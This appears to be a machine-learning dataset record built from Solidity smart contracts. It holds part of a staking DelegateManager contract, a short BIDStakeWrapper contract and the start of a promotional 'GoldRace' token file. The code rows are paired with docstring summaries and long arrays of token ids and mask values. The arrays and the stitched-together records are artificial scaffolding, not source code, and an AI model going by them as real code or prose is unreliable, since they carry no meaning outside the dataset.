_slashAddress,
totalBalanceInSPFactory.sub(totalSPFactoryBalanceDecrease)
);
}
/**
* @notice Initiate forcible removal of a delegator
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
*/
function requestRemoveDelegator(address _serviceProvider, address _delegator) external {
_requireIsInitialized();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] == 0,
"DelegateManager: Pending remove delegator request"
);
require(
_delegatorExistsForSP(_delegator, _serviceProvider),
ERROR_DELEGATOR_STAKE
);
// Update lockup
removeDelegatorRequests[_serviceProvider][_delegator] = (
block.number + removeDelegatorLockupDuration
);
emit RemoveDelegatorRequested(
_serviceProvider,
_delegator,
removeDelegatorRequests[_serviceProvider][_delegator]
);
}
/**
* @notice Cancel pending removeDelegator request
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
*/
function cancelRemoveDelegatorRequest(address _serviceProvider, address _delegator) external {
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] != 0,
"DelegateManager: No pending request"
);
// Reset lockup expiry
removeDelegatorRequests[_serviceProvider][_delegator] = 0;
emit RemoveDelegatorRequestCancelled(_serviceProvider, _delegator);
}
/**
* @notice Evaluate removeDelegator request
* @param _serviceProvider - address of service provider
* @param _delegator - address of delegator
* @return Updated total amount delegated to the service provider by delegator
*/
function removeDelegator(address _serviceProvider, address _delegator) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
removeDelegatorRequests[_serviceProvider][_delegator] != 0,
"DelegateManager: No pending request"
);
// Enforce lockup expiry block
require(
block.number >= removeDelegatorRequests[_serviceProvider][_delegator],
"DelegateManager: Lockup must be expired"
);
// Enforce evaluation window for request
require(
block.number < removeDelegatorRequests[_serviceProvider][_delegator] + removeDelegatorEvalDuration,
"DelegateManager: RemoveDelegator evaluation window expired"
);
uint256 unstakeAmount = delegateInfo[_delegator][_serviceProvider];
// Unstake on behalf of target service provider
Staking(stakingAddress).undelegateStakeFor(
_serviceProvider,
_delegator,
unstakeAmount
);
// Update total delegated for SP
// totalServiceProviderDelegatedStake - total amount delegated to service provider
// totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider
_updateDelegatorStake(
_delegator,
_serviceProvider,
spDelegateInfo[_serviceProvider].totalDelegatedStake.sub(unstakeAmount),
delegateInfo[_delegator][_serviceProvider].sub(unstakeAmount),
delegatorTotalStake[_delegator].sub(unstakeAmount)
);
if (
_undelegateRequestIsPending(_delegator) &&
undelegateRequests[_delegator].serviceProvider == _serviceProvider
) {
// Remove pending request information
_updateServiceProviderLockupAmount(
_serviceProvider,
spDelegateInfo[_serviceProvider].totalLockedUpStake.sub(undelegateRequests[_delegator].amount)
);
_resetUndelegateStakeRequest(_delegator);
}
// Remove from list of delegators
_removeFromDelegatorsList(_serviceProvider, _delegator);
// Reset lockup expiry
removeDelegatorRequests[_serviceProvider][_delegator] = 0;
emit RemoveDelegatorRequestEvaluated(_serviceProvider, _delegator, unstakeAmount);
}
/**
* @notice SP can update their minDelegationAmount
* @param _serviceProvider - address of service provider
* @param _spMinDelegationAmount - new minDelegationAmount for SP
* @notice does not enforce _spMinDelegationAmount >= minDelegationAmount since not necessary
* delegateStake() and undelegateStake() always take the max of both already
*/
function updateSPMinDelegationAmount(
address _serviceProvider,
uint256 _spMinDelegationAmount
) external {
_requireIsInitialized();
require(msg.sender == _serviceProvider, ERROR_ONLY_SERVICE_PROVIDER);
/**
* Ensure _serviceProvider is a valid SP
* No objective source of truth, closest heuristic is numEndpoints > 0
*/
(,,, uint256 numEndpoints,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress)
.getServiceProviderDetails(_serviceProvider)
);
require(numEndpoints > 0, ERROR_ONLY_SERVICE_PROVIDER);
spMinDelegationAmounts[_serviceProvider] = _spMinDelegationAmount;
emit SPMinDelegationAmountUpdated(_serviceProvider, _spMinDelegationAmount);
}
/**
* @notice Update duration for undelegate request lockup
* @param _duration - new lockup duration
*/
function updateUndelegateLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateUndelegateLockupDuration(_duration);
emit UndelegateLockupDurationUpdated(_duration);
}
/**
* @notice Update maximum delegators allowed
* @param _maxDelegators - new max delegators
*/
function updateMaxDelegators(uint256 _maxDelegators) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
maxDelegators = _maxDelegators;
emit MaxDelegatorsUpdated(_maxDelegators);
}
/**
* @notice Update minimum delegation amount
* @param _minDelegationAmount - min new min delegation amount
*/
function updateMinDelegationAmount(uint256 _minDelegationAmount) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
minDelegationAmount = _minDelegationAmount;
emit MinDelegationUpdated(_minDelegationAmount);
}
/**
* @notice Update remove delegator lockup duration
* @param _duration - new lockup duration
*/
function updateRemoveDelegatorLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateRemoveDelegatorLockupDuration(_duration);
emit RemoveDelegatorLockupDurationUpdated(_duration);
}
/**
* @notice Update remove delegator evaluation window duration
* @param _duration - new window duration
*/
function updateRemoveDelegatorEvalDuration(uint256 _duration) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
removeDelegatorEvalDuration = _duration;
emit RemoveDelegatorEvalDurationUpdated(_duration);
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
governanceAddress = _governanceAddress;
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _stakingAddress;
emit StakingAddressUpdated(_stakingAddress);
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _spFactory - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _spFactory) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _spFactory;
emit ServiceProviderFactoryAddressUpdated(_spFactory);
}
/**
* @notice Set the ClaimsManager address
* @dev Only callable by Governance address
* @param _claimsManagerAddress - address for new ClaimsManager contract
*/
function setClaimsManagerAddress(address _claimsManagerAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _claimsManagerAddress;
emit ClaimsManagerAddressUpdated(_claimsManagerAddress);
}
// ========================================= View Functions =========================================
/**
* @notice Get list of delegators for a given service provider
* @param _sp - service provider address
*/
function getDelegatorsList(address _sp)
external view returns (address[] memory)
{
_requireIsInitialized();
return spDelegateInfo[_sp].delegators;
}
/**
* @notice Get total delegation from a given address
* @param _delegator - delegator address
*/
function getTotalDelegatorStake(address _delegator)
external view returns (uint256)
{
_requireIsInitialized();
return delegatorTotalStake[_delegator];
}
/// @notice Get total amount delegated to a service provider
function getTotalDelegatedToServiceProvider(address _sp)
external view returns (uint256)
{
_requireIsInitialized();
return spDelegateInfo[_sp].totalDelegatedStake;
}
/// @notice Get total delegated stake locked up for a service provider
function getTotalLockedDelegationForServiceProvider(address _sp)
external view returns (uint256)
{
_requireIsInitialized();
return spDelegateInfo[_sp].totalLockedUpStake;
}
/// @notice Get total currently staked for a delegator, for a given service provider
function getDelegatorStakeForServiceProvider(address _delegator, address _serviceProvider)
external view returns (uint256)
{
_requireIsInitialized();
return delegateInfo[_delegator][_serviceProvider];
}
/**
* @notice Get status of pending undelegate request for a given address
* @param _delegator - address of the delegator
*/
function getPendingUndelegateRequest(address _delegator)
external view returns (address target, uint256 amount, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
UndelegateStakeRequest memory req = undelegateRequests[_delegator];
return (req.serviceProvider, req.amount, req.lockupExpiryBlock);
}
/**
* @notice Get status of pending remove delegator request for a given address
* @param _serviceProvider - address of the service provider
* @param _delegator - address of the delegator
* @return - current lockup expiry block for remove delegator request
*/
function getPendingRemoveDelegatorRequest(
address _serviceProvider,
address _delegator
) external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorRequests[_serviceProvider][_delegator];
}
/**
* @notice Get minDelegationAmount for given SP
* @param _serviceProvider - address of the service provider
* @return - minDelegationAmount for given SP
*/
function getSPMinDelegationAmount(address _serviceProvider) external view returns (uint256) {
return spMinDelegationAmounts[_serviceProvider];
}
/// @notice Get current undelegate lockup duration
function getUndelegateLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return undelegateLockupDuration;
}
/// @notice Current maximum delegators
function getMaxDelegators()
external view returns (uint256)
{
_requireIsInitialized();
return maxDelegators;
}
/// @notice Get minimum delegation amount
function getMinDelegationAmount()
external view returns (uint256)
{
_requireIsInitialized();
return minDelegationAmount;
}
/// @notice Get the duration for remove delegator request lockup
function getRemoveDelegatorLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorLockupDuration;
}
/// @notice Get the duration for evaluation of remove delegator operations
function getRemoveDelegatorEvalDuration()
external view returns (uint256)
{
_requireIsInitialized();
return removeDelegatorEvalDuration;
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address)
{
_requireIsInitialized();
return stakingAddress;
}
// ========================================= Internal functions =========================================
/**
* @notice Helper function for claimRewards to get balances from Staking contract
and do validation
* @param spFactory - reference to ServiceProviderFactory contract
* @param _serviceProvider - address for which rewards are being claimed
* @return (totalBalanceInStaking, totalBalanceInSPFactory, totalActiveFunds, spLockedStake, totalRewards, deployerCut)
*/
function _validateClaimRewards(ServiceProviderFactory spFactory, address _serviceProvider)
internal returns (
uint256 totalBalanceInStaking,
uint256 totalBalanceInSPFactory,
uint256 totalActiveFunds,
uint256 totalRewards,
uint256 deployerCut
)
{
// Account for any pending locked up stake for the service provider
(uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_serviceProvider);
uint256 totalLockedUpStake = (
spDelegateInfo[_serviceProvider].totalLockedUpStake.add(spLockedStake)
);
// Process claim for msg.sender
// Total locked parameter is equal to delegate locked up stake + service provider locked up stake
uint256 mintedRewards = ClaimsManager(claimsManagerAddress).processClaim(
_serviceProvider,
totalLockedUpStake
);
// Amount stored in staking contract for owner
totalBalanceInStaking = Staking(stakingAddress).totalStakedFor(_serviceProvider);
// Amount in sp factory for claimer
(
totalBalanceInSPFactory,
deployerCut,
,,,
) = spFactory.getServiceProviderDetails(_serviceProvider);
// Require active stake to claim any rewards
// Amount in delegate manager staked to service provider
uint256 totalBalanceOutsideStaking = (
totalBalanceInSPFactory.add(spDelegateInfo[_serviceProvider].totalDelegatedStake)
);
totalActiveFunds = totalBalanceOutsideStaking.sub(totalLockedUpStake);
require(
mintedRewards == totalBalanceInStaking.sub(totalBalanceOutsideStaking),
"DelegateManager: Reward amount mismatch"
);
// Emit claim event
emit Claim(_serviceProvider, totalRewards, totalBalanceInStaking);
return (
totalBalanceInStaking,
totalBalanceInSPFactory,
totalActiveFunds,
mintedRewards,
deployerCut
);
}
/**
* @notice Perform state updates when a delegate stake has changed
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @param _totalServiceProviderDelegatedStake - total delegated to this service provider
* @param _totalStakedForSpFromDelegator - total delegated to this service provider by delegator
* @param _totalDelegatorStake - total delegated from this delegator address
*/
function _updateDelegatorStake(
address _delegator,
address _serviceProvider,
uint256 _totalServiceProviderDelegatedStake,
uint256 _totalStakedForSpFromDelegator,
uint256 _totalDelegatorStake
) internal
{
// Update total delegated for SP
spDelegateInfo[_serviceProvider].totalDelegatedStake = _totalServiceProviderDelegatedStake;
// Update amount staked from this delegator to targeted service provider
delegateInfo[_delegator][_serviceProvider] = _totalStakedForSpFromDelegator;
// Update total delegated from this delegator
_updateDelegatorTotalStake(_delegator, _totalDelegatorStake);
}
/**
* @notice Reset pending undelegate stake request
* @param _delegator - address of delegator
*/
function _resetUndelegateStakeRequest(address _delegator) internal
{
_updateUndelegateStakeRequest(_delegator, address(0), 0, 0);
}
/**
* @notice Perform updates when undelegate request state has changed
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @param _amount - amount being undelegated
* @param _lockupExpiryBlock - block at which stake can be undelegated
*/
function _updateUndelegateStakeRequest(
address _delegator,
address _serviceProvider,
uint256 _amount,
uint256 _lockupExpiryBlock
) internal
{
// Update lockup information
undelegateRequests[_delegator] = UndelegateStakeRequest({
lockupExpiryBlock: _lockupExpiryBlock,
amount: _amount,
serviceProvider: _serviceProvider
});
}
/**
* @notice Update total amount delegated from an address
* @param _delegator - address of service provider
* @param _amount - updated delegator total
*/
function _updateDelegatorTotalStake(address _delegator, uint256 _amount) internal
{
delegatorTotalStake[_delegator] = _amount;
}
/**
* @notice Update amount currently locked up for this service provider
* @param _serviceProvider - address of service provider
* @param _updatedLockupAmount - updated lock up amount
*/
function _updateServiceProviderLockupAmount(
address _serviceProvider,
uint256 _updatedLockupAmount
) internal
{
spDelegateInfo[_serviceProvider].totalLockedUpStake = _updatedLockupAmount;
}
function _removeFromDelegatorsList(address _serviceProvider, address _delegator) internal
{
for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) {
if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) {
// Overwrite and shrink delegators list
spDelegateInfo[_serviceProvider].delegators[i] = spDelegateInfo[_serviceProvider].delegators[spDelegateInfo[_serviceProvider].delegators.length - 1];
spDelegateInfo[_serviceProvider].delegators.length--;
break;
}
}
}
/**
* @notice Helper function to distribute rewards to any delegators
* @param _sp - service provider account tracked in staking
* @param _totalActiveFunds - total funds minus any locked stake
* @param _totalRewards - total rewaards generated in this round
* @param _deployerCut - service provider cut of delegate rewards, defined as deployerCut / deployerCutBase
* @param _deployerCutBase - denominator value for calculating service provider cut as a %
* @return (totalBalanceInStaking, totalBalanceInSPFactory, totalBalanceOutsideStaking)
*/
function _distributeDelegateRewards(
address _sp,
uint256 _totalActiveFunds,
uint256 _totalRewards,
uint256 _deployerCut,
uint256 _deployerCutBase
)
internal returns (uint256 totalDelegatedStakeIncrease)
{
// Traverse all delegates and calculate their rewards
// As each delegate reward is calculated, increment SP cut reward accordingly
for (uint256 i = 0; i < spDelegateInfo[_sp].delegators.length; i++) {
address delegator = spDelegateInfo[_sp].delegators[i];
uint256 delegateStakeToSP = delegateInfo[delegator][_sp];
// Subtract any locked up stake
if (undelegateRequests[delegator].serviceProvider == _sp) {
delegateStakeToSP = delegateStakeToSP.sub(undelegateRequests[delegator].amount);
}
// Calculate rewards by ((delegateStakeToSP / totalActiveFunds) * totalRewards)
uint256 rewardsPriorToSPCut = (
delegateStakeToSP.mul(_totalRewards)
).div(_totalActiveFunds);
// Multiply by deployer cut fraction to calculate reward for SP
// Operation constructed to perform all multiplication prior to division
// uint256 spDeployerCut = (rewardsPriorToSPCut * deployerCut ) / (deployerCutBase);
// = ((delegateStakeToSP * totalRewards) / totalActiveFunds) * deployerCut ) / (deployerCutBase);
// = ((delegateStakeToSP * totalRewards * deployerCut) / totalActiveFunds ) / (deployerCutBase);
// = (delegateStakeToSP * totalRewards * deployerCut) / (deployerCutBase * totalActiveFunds);
uint256 spDeployerCut = (
(delegateStakeToSP.mul(_totalRewards)).mul(_deployerCut)
).div(
_totalActiveFunds.mul(_deployerCutBase)
);
// Increase total delegate reward in DelegateManager
// Subtract SP reward from rewards to calculate delegate reward
// delegateReward = rewardsPriorToSPCut - spDeployerCut;
delegateInfo[delegator][_sp] = (
delegateInfo[delegator][_sp].add(rewardsPriorToSPCut.sub(spDeployerCut))
);
// Update total for this delegator
_updateDelegatorTotalStake(
delegator,
delegatorTotalStake[delegator].add(rewardsPriorToSPCut.sub(spDeployerCut))
);
totalDelegatedStakeIncrease = (
totalDelegatedStakeIncrease.add(rewardsPriorToSPCut.sub(spDeployerCut))
);
}
return (totalDelegatedStakeIncrease);
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"DelegateManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
/**
* @notice Set the remove delegator lockup duration after validating against governance
* @param _duration - Incoming remove delegator duration value
*/
function _updateRemoveDelegatorLockupDuration(uint256 _duration) internal {
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"DelegateManager: removeDelegatorLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
removeDelegatorLockupDuration = _duration;
}
/**
* @notice Set the undelegate lockup duration after validating against governance
* @param _duration - Incoming undelegate lockup duration value
*/
function _updateUndelegateLockupDuration(uint256 _duration) internal {
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"DelegateManager: undelegateLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
undelegateLockupDuration = _duration;
}
/**
* @notice Returns if delegator has delegated to a service provider
* @param _delegator - address of delegator
* @param _serviceProvider - address of service provider
* @return boolean indicating whether delegator exists for service provider
*/
function _delegatorExistsForSP(
address _delegator,
address _serviceProvider
) internal view returns (bool)
{
for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) {
if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) {
return true;
}
}
// Not found
return false;
}
/**
* @notice Determine if a claim is pending for this service provider
* @param _sp - address of service provider
* @return boolean indicating whether a claim is pending
*/
function _claimPending(address _sp) internal view returns (bool) {
ClaimsManager claimsManager = ClaimsManager(claimsManagerAddress);
return claimsManager.claimPending(_sp);
}
/**
* @notice Determine if a decrease request has been initiated
* @param _delegator - address of delegator
* @return boolean indicating whether a decrease request is pending
*/
function _undelegateRequestIsPending(address _delegator) internal view returns (bool)
{
return (
(undelegateRequests[_delegator].lockupExpiryBlock != 0) &&
(undelegateRequests[_delegator].amount != 0) &&
(undelegateRequests[_delegator].serviceProvider != address(0))
);
}
// ========================================= Private Functions =========================================
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"DelegateManager: stakingAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"DelegateManager: serviceProviderFactoryAddress is not set"
);
}
function _requireClaimsManagerAddressIsSet() private view {
require(
claimsManagerAddress != address(0x00),
"DelegateManager: claimsManagerAddress is not set"
);
}
} | * @notice Update maximum delegators allowed @param _maxDelegators - new max delegators/ | function updateMaxDelegators(uint256 _maxDelegators) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
maxDelegators = _maxDelegators;
emit MaxDelegatorsUpdated(_maxDelegators);
}
| 1,231,969 | [
1,
1891,
4207,
11158,
3062,
2935,
225,
389,
1896,
15608,
3062,
300,
394,
943,
11158,
3062,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
2747,
15608,
3062,
12,
11890,
5034,
389,
1896,
15608,
3062,
13,
3903,
288,
203,
3639,
389,
6528,
2520,
11459,
5621,
203,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
314,
1643,
82,
1359,
1887,
16,
5475,
67,
10857,
67,
43,
12959,
50,
4722,
1769,
203,
203,
3639,
943,
15608,
3062,
273,
389,
1896,
15608,
3062,
31,
203,
3639,
3626,
4238,
15608,
3062,
7381,
24899,
1896,
15608,
3062,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/3/0x4862F64B35F462B2E0fE6f65aD3FE1b9BDC3080D/sources/BIDRewards.sol | bid contract on ropsten | contract BIDStakeWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public y;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
y.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
y.safeTransfer(msg.sender, amount);
}
}
| 5,302,955 | [
1,
19773,
6835,
603,
721,
84,
334,
275,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
605,
734,
510,
911,
3611,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
565,
467,
654,
39,
3462,
1071,
677,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
70,
26488,
63,
4631,
15533,
203,
565,
289,
203,
203,
565,
445,
384,
911,
12,
11890,
5034,
3844,
13,
1071,
288,
203,
3639,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1289,
12,
8949,
1769,
203,
3639,
389,
70,
26488,
63,
3576,
18,
15330,
65,
273,
389,
70,
26488,
63,
3576,
18,
15330,
8009,
1289,
12,
8949,
1769,
203,
3639,
677,
18,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
598,
9446,
12,
11890,
5034,
3844,
13,
1071,
288,
203,
3639,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1717,
12,
8949,
1769,
203,
3639,
389,
70,
26488,
63,
3576,
18,
15330,
65,
273,
389,
70,
26488,
63,
3576,
18,
15330,
8009,
1717,
12,
8949,
1769,
203,
3639,
677,
18,
4626,
5912,
12,
3576,
18,
2
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
//
// Telegram- t.me/goldracetoken
// Website- goldrace.finance
//
// GoldRace - Chase Gold With Us!
// - __
// -- ~( @\ \
// --- _________]_[__/_>________
// / ____ \ <> | ____ \
// =\_/ __ \_\_______|_/ __ \__D
// ________(__)_____________(__)______________
// Total Supply- 1,000,000,000,000
// Max Initial Buy- 1% 10000000000
// Max Initial Wallet- 2% 20000000000
//
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
